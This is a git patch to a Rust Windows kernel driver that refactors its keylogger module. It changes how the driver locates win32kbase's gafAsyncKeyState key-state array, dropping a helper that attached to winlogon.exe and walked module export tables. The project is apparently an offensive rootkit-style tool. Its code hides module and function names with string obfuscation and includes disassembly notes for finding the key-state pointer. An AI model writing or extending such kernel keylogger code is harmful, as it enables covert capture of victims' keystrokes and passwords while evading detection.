From 0733f7b6cd3396ac44fc5fd8071f88e6ef4e6c9c Mon Sep 17 00:00:00 2001
From: joaoviictorti <joaovictorti08@gmail.com>
Date: Fri, 27 Sep 2024 21:17:27 -0300
Subject: [PATCH] refactor(driver): replace `get_gafasynckeystate_address` with
 `get_function_address`

- Removed the `get_gafasynckeystate_address` function and replaced its usage with `get_function_address`.
- Simplified the key state address retrieval process, improving code maintainability and reducing redundancy.
---
 driver/src/misc/keylogger.rs |  4 +--
 driver/src/utils/address.rs  | 47 +++++-------------------------------
 2 files changed, 8 insertions(+), 43 deletions(-)

diff --git a/driver/src/misc/keylogger.rs b/driver/src/misc/keylogger.rs
index 0c72017..1ddae6c 100644
--- a/driver/src/misc/keylogger.rs
+++ b/driver/src/misc/keylogger.rs
@@ -6,7 +6,7 @@ use {
         utils::{
             process_attach::ProcessAttach,
             get_process_by_name, patterns::scan_for_pattern, 
-            address::{get_address_asynckey, get_module_base_address}, 
+            address::{get_function_address, get_module_base_address}, 
         }
     }, 
     wdk_sys::{
@@ -69,7 +69,7 @@ pub unsafe fn get_user_address_keylogger() -> Option<*mut c_void> {
 ///
 unsafe fn get_gafasynckeystate_address() -> Option<*mut u8> {
     let module_address = get_module_base_address(obfstr!("win32kbase.sys"))?;
-    let function_address = get_address_asynckey(obfstr!("NtUserGetAsyncKeyState"), module_address)?;
+    let function_address = get_function_address(obfstr!("NtUserGetAsyncKeyState"), module_address)?;
 
     // fffff4e1`18e41bae 48 8b 05 0b 4d 20 00  mov rax,qword ptr [win32kbase!gafAsyncKeyState (fffff4e1`190468c0)]
     // fffff4e1`18e41bb5 48 89 81 80 00 00 00  mov qword ptr [rcx+80h],rax
diff --git a/driver/src/utils/address.rs b/driver/src/utils/address.rs
index d2af2a5..389b12e 100644
--- a/driver/src/utils/address.rs
+++ b/driver/src/utils/address.rs
@@ -1,10 +1,12 @@
 use {
-    obfstr::obfstr, 
+    super::pool::PoolMemory,
+    crate::utils::SystemModuleInformation, 
     ntapi::ntzwapi::ZwQuerySystemInformation, 
     wdk_sys::{NT_SUCCESS, POOL_FLAG_NON_PAGED},
-    crate::{process::Process, utils::SystemModuleInformation}, 
-    core::{ffi::{c_void, CStr}, ptr::null_mut, slice::from_raw_parts},
-    super::{get_process_by_name, pool::PoolMemory, process_attach::ProcessAttach}, 
+    core::{
+        ffi::{c_void, CStr}, 
+        ptr::null_mut, slice::from_raw_parts
+    },
     winapi::um::winnt::{RtlZeroMemory, IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, IMAGE_NT_HEADERS64}
 };
 
@@ -88,40 +90,3 @@ pub unsafe fn get_function_address(function_name: &str, dll_base: *mut c_void) -
     
     None
 }
-
-/// Get the address of the `gafAsyncKeyState` array within a module in the context of a target process.
-///
-/// # Parameters
-/// 
-/// - `name`: A string slice containing the name `gafAsyncKeyState`.
-/// - `dll_base`: A pointer to the base address of the DLL.
-///
-/// # Returns
-/// 
-/// - `Option<*mut c_void>`: An optional pointer to the function's address, or None if the function is not found.
-///
-pub unsafe fn get_address_asynckey(name: &str, dll_base: *mut c_void) -> Option<*mut c_void> {
-    let pid = get_process_by_name(obfstr!("winlogon.exe"))?;
-    let target = Process::new(pid)?;
-    let attach_process = ProcessAttach::new(target.e_process);
-
-    let dll_base = dll_base as usize;
-    let dos_header = dll_base as *mut IMAGE_DOS_HEADER;
-    let nt_header = (dll_base + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
-
-    let export_directory = (dll_base + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
-    let names = from_raw_parts((dll_base + (*export_directory).AddressOfNames as usize) as *const u32,(*export_directory).NumberOfNames as _);
-    let functions = from_raw_parts((dll_base + (*export_directory).AddressOfFunctions as usize) as *const u32,(*export_directory).NumberOfFunctions as _);
-    let ordinals = from_raw_parts((dll_base + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, (*export_directory).NumberOfNames as _);
-
-    for i in 0..(*export_directory).NumberOfNames as isize {
-        let name_module = CStr::from_ptr((dll_base + names[i as usize] as usize) as *const i8).to_str().ok()?;
-        let ordinal = ordinals[i as usize] as usize;
-        let address = (dll_base + functions[ordinal] as usize) as *mut c_void;
-        if name_module == name {
-            return Some(address);
-        }
-    }
-
-    None
-}
\ No newline at end of file